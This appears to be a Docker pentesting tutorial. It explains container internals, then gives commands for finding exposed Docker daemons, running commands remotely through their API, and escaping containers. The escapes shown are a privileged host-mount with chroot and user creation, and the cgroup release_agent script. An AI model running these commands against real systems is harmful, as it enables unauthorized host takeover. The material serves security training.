๐Ÿณdocker pentesting

Docker Pentesting

Theory

Linux Containers

Containers have been popular within many of platform as a service (PaaS) o๏ฌ€erings since the late 2000s. Docker is a software package for building cross-platform container solutions. Linux, however, has some unique properties that allow both proprietary container software and various other container technologies to exist.

Some of the more commonly used technologies include the following:

  • chroot, which is a technology that changes the root directory for a process and its children

  • Union mount ๏ฌle systems, such as Overlay2, Overlay, 4 and Aufs

Container Internals

Containers were not based on any standard when they were ๏ฌrst conceived of; in fact, the Open Container Initiative (OCI5) was established in 2015 by the Docker company. Prior to 2015, many container frameworks created their own standards for how to interact with the kernel. This has led to many di๏ฌ€erent types of container runtimes in one form or another over the last several years. Regardless of the di๏ฌ€erences in Linux containers, many of the initial constructs remain the same.

Cgroups

Starting in version 2.6.24 of the Linux Kernel, a functionality known as control groups, or cgroups for short, was released. The latest release of cgroups (cgroups v2) was introduced in Kernel 4.5 and brings security enhancements to the system. Control groups are a series of kernel-level resource controls for processes that can include the ability to limit resources, such as CPU, network, and disk, and isolate those resources from one another.

Namespaces

Namespaces, similar to how programming like C++ use them, allow for a process or collection of kernel control objects to be grouped together. This grouping limits or controls what that process or object can see.

To leverage the namespace, we can use a set of APIs that are exposed by the kernel itself:

  • clone() This will clone a process and then create the appropriate namespace for it.

  • setns() This allows an existing process to move into a namespace that we may be able to use.

  • unshare() This moves the process out of a namespace.

Storage

The mechanism that Docker and several other container runtimes use is known as a union ๏ฌle system (UnionFS).

There are several union ๏ฌle systems in existence today, such as Aufs and OverlayFS. Overlay2 is the current ๏ฌlesystem which uses a technology that merges di๏ฌ€erent directories together to form a consolidated ๏ฌlesystem.

Container Security

Containers are designed to be a โ€œpoint-in-timeโ€ style of system that doesnโ€™t change. This is a bene๏ฌt for software developers to continue to support applications that had been compiled on much older versions of software, but itโ€™s also an advantage for attackers who want to leverage older vulnerabilities in software.


Practical

Create a docker container

mkdir -p containers/easy

cd containers/easy; nano Dockerfile

Edit the Dockerfile

FROM debian:bullseye-slim

CMD ["bash"]

Build and Run container

docker build -t <name> .

docker run -it <name> /bin/bash

Most of the containers you encounter will have strange hostnames attached them. The standard Docker container will have the last part of the SHA-256 hash that is used as the cgroup marker on the host. This may become important later when you want to locate the running processes.

View the cgroup location

cd /proc/$(pidof docker run)

cat cgroup

Docker API commands

# List all containers running or stopped
docker container ls -all

# Stop a container
docker stop

# Removes a container
docker rm

# View docker processes
docker ps

Container Storage

letโ€™s begin by creating a very simple container that when run will give us a shell:

mkdir -p containers/nmap

cd containers/nmap; nano Dockerfile

The Docker๏ฌle we create will also be of Debian:bullseye- slim. Using the OverlayFS, this layer should match the existing container, and only changes should be appended:

FROM debian:bullseye-slim

RUN apt update -y && \
	apt-get install nmap -y
	
ENTRYPOINT ["/usr/bin/nmap"]

Build and Run the container

docker build -t <name> .

docker run -it <name> scanme.nmap.org

Look for Docker Daemons

nmap -p2375,2376 192.168.56.12 -A

To explore this further, letโ€™s ๏ฌrst look at the API without the client:

curl http://192.168.56.12:2375/containers/json | jq ''

curl http://192.168.56.12:2375/images/json | jq ''

Interact with docker API

View the remote host's processes

docker -H 192.168.56.12 ps

Execute Commands Remotely

docker -H 192.168.56.12 exec -it targets_web_1 /bin/sh

env Command

env
  • The HOSTNAME=: string that follows is in 8-digit hex format, indicative of a Docker container naming convention

  • The PYTHON_VERSION= string indicates that the container is speci๏ฌcally only for Python or a Python- based service, like ๏ฌ‚ask.

ps command

ps -ef

mount command

mount

netstat command

netstat -an

Pivoting

We can move laterally in an environment several ways, including setting up port forwards and proxies. We can also just bring down binaries to help us move further in an environment until we need to perform an additional direct pivot.

OS details

cat /etc/os-release

Install redis for alpine linux

apk --update add redis

Run redis-cli

redis-cli -h redis

KEYS *

Breaking Out of Containers

Privileged Pods

Letโ€™s execute a Docker container using the privileged command and passing in devices from the host.

docker -H 192.168.56.12 run -it --name nginx --privileged --ipc=host --net=host --pid=host -v /:/host ubuntu

# list processes
ps -ef

# make our containerโ€™s root the hostโ€™s root
chroot /host

# show all the processes on the host
systemctl status

# add a user
adduser <username>

# exit
exit

Abusing Cgroups

# Set the directory to /sys/fs/cgroup/rdma
dir = `dirname $(ls -x /s*/fs/c*/*/r* | head -n1)`

echo $dir

ls $dir

mkdir -p $dir/w

$dir/w/notify_on_release

cat $dir/w/notify_on_release

# locate our overlay ๏ฌle system location
mtab=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

echo $mtab

touch /output

echo $mtab/cmd > $dir/release_agent; printf '#!/bin/sh\nps >'"$mtab/output" > /cmd

cat /cmd

#make the command executable and tell the cgroup that we created in /w to exit
chmod +x /cmd;sh -c "echo 0 > $dir/w/cgroup.procs";sleep 1;cat /output

Why is this possible? How can we accomplish these commands? First of all, the cgroups v1 system has to be in place, which will be in place for quite some time, as the Linux Kernel did not introduce cgroups v2 until Kernel version 4.5 and was not in major distribution until Fedora 31. Ubuntu 18.04 LTS and 20.04 LTS still use cgroups v1, as do many RedHat distributions still in use today. The next thing we need is either the --privilege ๏ฌ‚ag or the kernel capabilities that enable mount. This is just one example of many in which a kernel attack can lead to system compromise. Have you ever seen any kernel exploits in the wild that may also be a vehicle for this?


REFERENCES

  • www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/cgroups.html

  • www.netdevconf.info/1.1/proceedings/slides/rosen-namespaces-cgroups-lxc.pdf

  • www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt

  • www.github.com/opencontainers/image-spec/blob/master/spec.md

  • www.kernel.org/doc/Documentation/cgroup-v2.txt

  • www.docs.docker.com/engine/api/v1.41/

  • www.twitter.com/_fel1x/status/1151487051986087936